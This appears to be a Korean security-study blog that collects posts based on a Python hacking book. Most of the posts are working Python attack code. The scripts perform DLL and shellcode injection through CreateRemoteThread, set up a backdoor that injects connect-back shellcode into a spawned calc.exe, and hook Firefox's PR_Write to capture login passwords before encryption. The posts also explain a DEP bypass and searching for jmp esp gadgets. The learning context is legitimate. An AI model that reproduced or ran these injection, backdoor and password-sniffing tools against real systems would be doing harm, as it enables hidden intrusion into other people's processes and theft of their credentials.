'Study > 파이썬 해킹 프로그래밍' 카테고리의 다른 글

[6주] 10장 윈도우 드라이버 퍼징  (0) 2015.02.23
[5주] 09장 Sulley  (0) 2015.02.23
[4주] 07장 DLL과 코드 인젝션  (0) 2015.02.16
[3주] 05장~06장 후킹  (0) 2015.01.26
[3주] 05장 - 윈도우 DEP우회  (0) 2015.01.26

[4주] 07장 DLL과 코드 인젝션

Posted by dw0rdptr
2015. 2. 16. 13:42 Study/파이썬 해킹 프로그래밍

DLL 인젝션과 코드 인젝션에는 몇 가지 차이가 있지만 두 가지 방법 모두 원격스레드 생성이라는 동일한 방법으로  수행된다.

원격스레드를 생성하는 데 사용되는 Win32 API는 CreateRemoteThread()이다.

프로토타입

HANDLE WINAPI CreateRemoteThread(
    HANDLE  hProcess,
    LPSECURITY_ATTRIBUTES  lpThreadAttributes,
    SIZE_T  dwStackSize,
    LPTHREAD_START_ROUTINE  lpStartAddress,
    LPVOID  lpParameter,
    DWORD  dwCreationFlags,
    LPDWORD  lpThreadId
);



DLL 인젝션 기술은 선악에 구분없이 오래동안 광범위하게 사용되어왔다.

DLL인젝션의 장점은 컴파일된 바이너리를 프로세스 내에 로드하고 그것을 해당 프로세스의 일부분으로 실행시킬 수 있다는 것이다. 

프로세스가 DLL을 메모리에 로드하게 만들어보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#dll_injector.py
#-*- coding: utf-8 -*-
import sys
 
from ctypes import *
 
PAGE_READWRITE        = 0x04
PROCESS_ALL_ACCESS    = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM            = (0x1000 | 0x2000)
 
kernel32    = windll.kernel32
pid         = sys.argv[1]
dll_path    = sys.argv[2]
dll_len     = len(dll_path)
 
 
#DLL을 인젝션할 프로세스의 핸들을 구한다
h_process   = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
if not h_process:
    print "[*] Couldn't Acquired a Handle to PID : %s" % pid
    sys.exit(0)
 
 
# DLL의 경로를 저장하기 위한 공간 할당
 
arg_address = kernel32.VirtualAllocEx(h_process,
                                      0,
                                      dll_len,
                                      VIRTUAL_MEM,
                                      PAGE_READWRITE)
 
#할당한 공간에 DLL의 경로를 써넣음
written = c_int(0)
kernel32.WriteProcessMemory(h_process,
                            arg_address,
                            dll_path,
                            dll_len,
                            byref(written))
 
#LoadLibraryA의 주소를 구함
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib  = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
 
#원격스레드를 생성하고 DLL의 경로를 파라미터로 전달해 LoadLibraryA가 실행
thread_id = c_ulong(0)
 
if not kernel32.CreateRemoteThread(h_process,
                                    None,
                                    0,
                                    h_loadlib,
                                    arg_address,
                                    0,
                                    byref(thread_id)):
    print "[*] Failed To Inject the DLL. Exiting."
    sys.exit(0)
 
print "[*] Remote Thread With ID 0x%08x created" % thread_id.value
cs

코드 인젝션은 실행중인 프로세스에 셸코드를 삽입해 메모리상에서 실행되게 만들 수 있다. 또한 공격자가 다른 프로세스로 셸 커넥션을 바꾸는 것이 가능하다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#code_injector.py
#-*- coding: utf-8 -*-
import sys
from ctypes import *
 
#셸코드가 할당한 메모리 블록에서 실행될 수 있게 메모리 블록의 권한을 설정
PAGE_EXECUTE_READWRITE    = 0x00000040
PROCESS_ALL_ACCESS        = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM                = (0x1000 | 0x2000)
 
kernel32    = windll.kernel32
pid           = int(sys.argv[1])
pid_to_kill  = sys.argv[2]
 
if not sys.argv[1or not sys.argv[2]:
    print "Code Injector: ./code_injector.py [pid to="" inject=""] [pid to="" kill=""]"
    sys.exit(0)
 
shellcode = #셸코드가 들어갈 자리
 
padding            = 4 - (len(pid_to_kill))
replace_value    = pid_to_kill + ("\x00" * padding)
replace_string    = "\x41" * 4
 
shellcode    = shellcode.replace(replace_string, replace_value)
code_size    = len(shellcode)
 
#인젝션을 수행할 프로세스의 핸들을 구한다.
h_process    = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
if not h_process:
    print "[*] Couldn't acquire a handle to PID : %s" % pid
    sys.exit(0)
 
#셸코드를 위한 공간을 할당
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM,
                                                        PAGE_EXECUTE_READWRITE)
 
#셸코드를 써넣는다.
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode,
                                             code_size, byref(written))
 
#원격스레드를 생성하고 그것이 실행시킬 코드의 시작 주소를 셸코드의 시작 부분으로 설정.
thread_id = c_ulong(0)
    if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0,
                                                         byref(thread_id)):
    print "[*] Failed To Inject process-killing shellcode."
    sys.exit(0)
 
print "[*] Remote thread created with a thread ID of : 0x%08x" % thread_id.value
print "[*] Process %s shellcode should not ne running anymore!" % pid_to_kill
cs

이번에는 인젝션 기술을 시스템의 권한을 획득하는 데 활용될 수 있는 백도어 제작에 사용해 보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#backdoor.py
#-*- coding: utf-8 -*-
#my_debugger_defines.py파일 필요
 
import sys
from ctypes import *
from my_debugger_defines import *
 
kernel32                = windll.kernel32
 
PAGE_EXECUTE_READWRITE    = 0x00000040
PROCESS_ALL_ACCESS        = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM                = (0x1000 | 0x2000)
 
#원래의 실행 바이너리
path_to_exe                = "C:\\calc.exe"
 
startupinfo                     = STARTUPINFO()
process_information        = PROCESS_INFORMATION
creation_flags                = CREATE_NEW_CONSOLE
startupinfo.dwFlags        = 0x01
startupinfo.wShowWindow    = 0x00
startupinfo.cb                      = sizeof(startupinfo)
 
#원래의 실행 바이너리 프로세스를 생성하고 PID저장
kernel32.CreateProcessA(path_to_exe,
                                     None,
                                     None,
                                     None,
                                     None,
                                     creation_flags,
                                     None,
                                     None,
                                     byref(startupinfo),
                                     byref(process_information))
 
pid = process_information.dwProcessId
 
def inject(pid, data, parameter = 0):
    #인젝션을 수행할 프로세스의 핸들을 구한다
    h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
    if not h_process:
        print "[*] Couldn't acquire a handler to PID : %s" % pid
        sys.exit(0)
 
    arg_address = kernel32.VirtualAllocEx(h_process,
                                          0,
                                          len(data),
                                          VIRTUAL_MEM,
                                          PAGE_EXECUTE_READWRITE)
    written = c_int(0)
 
    kernel32.WriteProcessMemory(h_process,
                                arg_address,
                                data,
                                len(data),
                                byref(written))
 
    thread_id = c_ulong(0)
 
    if not parameter:
        start_address = arg_address
    else:
        h_kernel32         = kernel32.GetModuleHandlerA("kernel32.dll")
        start_address     = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
        parameter        = arg_address
 
    if not kernel32.CreateRemoteThread(h_process,
                                       None,
                                       0,
                                       start_address,
                                       parameter,
                                       0,
                                       byref(thread_id)):
        print "[*] Failed to inject the DLL"
        sys.exit(0)
  
    return True
 
#이제 백도어 프로세스 자체를 종료시키기 위해 다른프로세스에 코드인젝션 수행
connect_back_shellcode = #shellcode
 
inject( pid, connect_back_shellcode)
 
our_pid = str(kernel32.GetCurrentProcessId())
 
process_killer_shellcode = #shellcode
 
padding = 4 -(len(our_pid))
replace_value = our_pid + ("\x00" * padding)
replace_string = "\x41" * 4
process_killer_shellcode= 
process_killer_shellcode.replace(replace_string, replace_value)
 
inject(our_pid, process_killer_shellcode)
 
cs


[3주] 05장~06장 후킹

Posted by dw0rdptr
2015. 1. 26. 09:33 Study/파이썬 해킹 프로그래밍

Immunity 디버거와 파이썬을 이용하면 안티 디버깅 루틴을 우회할 수 있는 간단한 스크립트를 작성해

악성코드 분석 시에 사용할 수 있다. 


가장 널리 사용되는 안티디버깅 기법은 kernel32.dll이 익스포트하는 IsDebuggerPresent함수이다.

파라미터가 없으며 디버거가 프로세스에 붙여져있으면 1, 아니면 0을 반환한다.

디스어셈블해보면 PEB(Process Environment Block)구조체의 오프셋 0x2위치에있는 BeingDebugged 값을 EAX

레지스터에 할당하고 리턴한다.


imm.writeMemory(imm.getPEBaddress() + 0x2, "\x00")

위 코드는 단순히 PEB의 BeingDebugged 플래그 값을 0으로 만드는 것으로

IsDebuggerPresent 함수를 사용하는 악성코드의 경우에는 디버거가 붙여진 것을 알아차리지 못하게 된다.



또한 악성코드는 디버거가 실행중인지 확인하기 위해 반복적으로 실행중인 프로세스를 검사하기도 하는데,

이 때 Process32First 함수와 Process32Next 함수를 이용한다. 두 함수 모두 실행결과의 성공여부를 나타내기 위해

boolean값을 반환하는데, 마찬가지로 EAX 레지스터 값을 0으로 만들고 바로 리턴하게 함수를 패치하면 악성코드는

실행중인 프로세스 리스트를 구할 수 없다.



06장 - 후킹


후킹은 프로세스를 모니터링하기 위해 실행 흐름을 변경하거나 프로세스가 접근하는 데이터를 변경하기 위해 사용되는 기술이다. 루트킷, 키로거, 디버거 모두 후킹이라고 할 수 있다.

후킹에는 소프트후킹과 하드후킹 두 가지 방법이있다.

1.소프트후킹 : 대상프로세스에 붙인 다음에 실행흐름을 가로채기 위해 INT3 브레이크포인트 핸들러를 구현하는 것(호출빈도 낮은 함수 후킹)

2.하드후킹    : 어셈블리 언어로 작성된 후킹 코드가 실행되게 점프 코드를 삽입하는 것(호출빈도 높은함수 후킹)


파이어폭스 프로세스가 데이터를 암호화해 서버에 전송하기 전에 데이터를 스니핑해보자.

파이어폭스는 SSL 암호화 형태를 사용한다. nss3.dll의 익스포트 함수인 PR_Write 함수에 후킹을 설정해 암호화되기 전의 아스키 데이터를 스니핑한다.(책에 나온 nspr4.dll로 하면 실행되지않는다.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#firefox_hook.py
#-*- coding: utf-8 -*-
from pydbg import *
from pydbg.defines import *
 
import utils
import sys
 
dbg                = pydbg()
found_firefox     = False
 
 
#serch for
pattern        = "password"
 
#entry callback function
#args[1]파라미터가 중요
def ssl_sniff(dbg,args):
 
    #두 번째 파라미터가 가리키는 주소의 메모리를 읽음
    #아스키문자열이 저장되어있기 때문에 NULL 바이트를 만날때까지 데이터 읽음
    buffer = ""
    offset = 0
 
    while 1:
        byte = dbg.read_process_memory(args[1+ offset,1)
 
        if byte != "\x00":
            buffer += byte
            offset +=1
            continue
        else:
            break
 
    if pattern in buffer:
        print "Pre-Encrypted : %s" % buffer
 
    return DBG_CONTINUE
 
#firefox.exe 프로세스를 찾는다
for (pid,name) in dbg.enumerate_processes():
    if name.lower() == "firefox.exe":
 
        found_firefox = True
        hooks          = utils.hook_container()
 
        dbg.attach(pid)
        print "[*] Attaching to firefox.exe with PID : %d" % pid
 
        #후킹을 수행할 함수의 주소를 구함
        hook_address = dbg.func_resolve_debuggee("nss3.dll","PR_Write")
 
        if hook_address:
            #후킹 함수를 후킹컨테이너에 추가
            #exit 콜백은 필요없기 때문에 None으로 입력
            hooks.add(dbg,hook_address,2,ssl_sniff,None)
            print "[*] nspr4.PR_Write hooked at : 0x%08x" % hook_address
            break
        else:
            print "[*]Error : Couldn't resolve hook address"
            sys.exit(-1)
 
if found_firefox:
    print "[*] Hooks set, continuing process."
    dbg.run()
else:
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)
cs

파이어폭스를 실행하고 firefox_hook.py를 실행시킨다.

그리고 http://openrce.org에서 아이디와 패스워드를 입력하고 login버튼을 누르면 아래와 같은 결과가 나온다.


username=lake&password=lake

뒤에 Z가나오는건 무슨이유인지 모르겠다

[3주] 05장 - 윈도우 DEP우회

Posted by dw0rdptr
2015. 1. 26. 09:18 Study/파이썬 해킹 프로그래밍

마이크로소프트 윈도우에는 힘과 스택같은 메모리 영역에 있는 코드가 실행되는것을 방지하기 위해

DEP이라는 보안기능이 있다.

NtSetInformationProcess 함수로 DEP을 우회할 수 있다.

스택에 존재하는 파라미터를 이용해 NtSetInformationProcess(-1,0x22,0x2,0x4) 로 호출하면

현재 프로세스에 대한 DEP설정을 비활성화시킨다. 


이를위해서 세가지 주소가 필요한데

1. AL레지스터의 값을 1로 설정하고 리턴하는 주소

2. DEP를 비활성화시키는 코드가 존재하는 곳의 주소

3. 리턴하면서 셸코드의 시작 부분을 실행시킬 수 있는 주소


이 주소를 찾아주는 findantidep.py 스크립트가 이미 있고 공격 코드 문자열을 제공해

찾은 주소에 대한 오프셋 계산을 따로 할 필요가 없다. 따라서 단순히 공격코드문자열을 복사해 사용하기만 하면된다.



스크립트를 실행한 후 로그



[3주] 05장 - Immunity Debugger 공격코드에서 사용할 명령찾기

Posted by dw0rdptr
2015. 1. 26. 07:31 Study/파이썬 해킹 프로그래밍

Immunity 디버거의 파이썬 라이브러리를 이용하면 로드된 바이너리에서 원하는 명령을 쉽게 찾을 수 있다.



작성한 코드를 Immunity Debugger\PyCommands 폴더에 넣고 디버거 명령줄에 !findinstruction<찾을 명령>

을 입력하면 된다. jmp esp 명령을 찾아보려면

!findinstruction jmp esp

메뉴의 View->Log(단축키 Alt+L)로 확인 할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 
 
#findinstruction.py
#-*- coding: utf-8 -*-
from immlib import *
 
def main(args):
    imm = Debugger()
    search_code = " ".join(args)
    search_byte = imm.assemble(search_code)
    search_results = imm.search(search_byte)
 
    for hit in search_results:
        #메모리 페이지를 구하고 실행 가능한 것인지 확인
        code_page = imm.getMemoryPageByAddress(hit)
        access = code_page.getAccess(human = True)
 
        if "execute" in access.lower():
            imm.log("[*] Found : %s (0x%08x)" % (search_code, hit), address = hit)
 
    return "[*] Finish searching for instructions, check the Log window."
 
cs



'Study > 파이썬 해킹 프로그래밍' 카테고리의 다른 글

[3주] 05장~06장 후킹  (0) 2015.01.26
[3주] 05장 - 윈도우 DEP우회  (0) 2015.01.26
[3주] 04장 - 종합  (0) 2015.01.26
[3주] 04장 - 프로세스 스냅샷  (0) 2015.01.26
[3주] 04장 - 접근 위반 핸들러  (0) 2015.01.26